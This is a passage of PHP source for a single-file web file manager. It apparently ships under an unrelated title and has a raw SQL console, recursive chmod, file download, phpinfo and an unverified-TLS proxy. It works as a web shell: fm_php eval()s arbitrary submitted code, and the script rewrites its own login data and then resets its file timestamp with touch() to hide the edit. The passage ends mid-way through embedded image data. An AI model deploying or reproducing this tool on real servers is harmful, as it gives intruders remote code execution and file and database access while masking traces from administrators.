		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>检查那些</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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